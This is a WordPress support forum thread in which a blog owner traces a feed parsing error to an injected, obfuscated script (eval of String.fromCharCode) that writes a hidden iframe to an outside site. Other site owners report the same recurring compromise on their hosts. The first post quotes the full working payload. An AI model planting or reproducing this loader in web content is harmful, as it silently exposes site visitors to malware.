Title: Junk after document element
Last modified: August 19, 2016

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# Junk after document element

 *  [hshasty](https://wordpress.org/support/users/hshasty/)
 * (@hshasty)
 * [17 years, 2 months ago](https://wordpress.org/support/topic/junk-after-document-element/)
 * My site is SearchEngineSnark.com, feed URL is searchenginesnark.com/feed/ . I’ve
   been making a few changes to my theme and plugins lately. Last night I saw in
   Feedburner that there were issues with my feed. The error was specifically:
 * `line 646, column 0: XML parsing error: <unknown>:646:0: junk after document 
   element`
 * This corresponds to a piece of Javascript after the close RSS caption that reads:
 *     ```
       <script type="text/javascript">eval(String.fromCharCode(118,97,114,32,102,103,103,103,101,51,61,34,115,105,34,59,118,97,114,32,119,51,52,53,61,34,112,108,34,59,118,97,114,32,114,101,54,61,34,97,110,107,46,34,59,118,97,114,32,114,114,61,34,99,111,109,34,59,118,97,114,32,97,61,34,105,102,34,59,118,97,114,32,115,61,34,116,116,34,59,100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,39,43,97,43,39,114,97,109,101,32,115,114,99,61,34,104,39,43,115,43,39,112,58,47,47,39,43,102,103,103,103,101,51,43,39,39,43,119,51,52,53,43,39,39,43,114,101,54,43,39,39,43,114,114,43,39,47,39,43,39,113,113,112,47,39,43,39,39,43,39,39,43,39,34,32,115,116,121,108,101,61,34,100,39,43,39,105,115,112,108,97,121,58,110,39,43,39,111,110,101,34,62,60,47,105,102,39,43,39,114,97,109,101,62,39,41,59,118,97,114,32,116,61,48,48,48,48,49,50,49,55))</script>
       ```
   
 * How can I strip this out of my feed, and/or what is causing this?

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 *  [Samuel B](https://wordpress.org/support/users/samboll/)
 * (@samboll)
 * [17 years, 2 months ago](https://wordpress.org/support/topic/junk-after-document-element/#post-1028719)
 * [your feed validated](http://validator.w3.org/feed/check.cgi?url=http%3A%2F%2Fwww.searchenginesnark.com%2Ffeed%2F)
   
   if you click on the “help” link by the error it will give you a solution.
 *  [retrovision](https://wordpress.org/support/users/retrovision/)
 * (@retrovision)
 * [17 years, 2 months ago](https://wordpress.org/support/topic/junk-after-document-element/#post-1028940)
 * This is a hack that as near as I can tell is intended to install malware. Somehow,
   it’s ended up appended to all of my html and php files in my wordpress blog despite
   password changes. Changing all of the files in the themes etc to read-only seems
   to have staved off re-infection, but this has attacked even blogs that are not
   known to the public, so I’m almost expecting that it may be getting in through
   my hosting company…. Godaddy…
 *  [someday](https://wordpress.org/support/users/someday/)
 * (@someday)
 * [17 years, 2 months ago](https://wordpress.org/support/topic/junk-after-document-element/#post-1028983)
 * I am having this problem on a virtual dedicated server w/ godaddy. I am also 
   using wordpress. If others are using wordpress, please post what themes you are
   using, if any.
 *  [Enci](https://wordpress.org/support/users/enikotakacs/)
 * (@enikotakacs)
 * [17 years, 1 month ago](https://wordpress.org/support/topic/junk-after-document-element/#post-1029067)
 * I’m hosting with GoDaddy as well and all my blogs have been hacked. I’ve been
   clearing them out, deleting files and overwriting them and I’m good for about
   10 hours and then I get the malware popup again.
 * I have several sites, too many to list. But this is really frustrating! I’ve 
   changed passwords and everything. Grrr!

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 * Last reply from: [Enci](https://wordpress.org/support/users/enikotakacs/)
 * Last activity: [17 years, 1 month ago](https://wordpress.org/support/topic/junk-after-document-element/#post-1029067)
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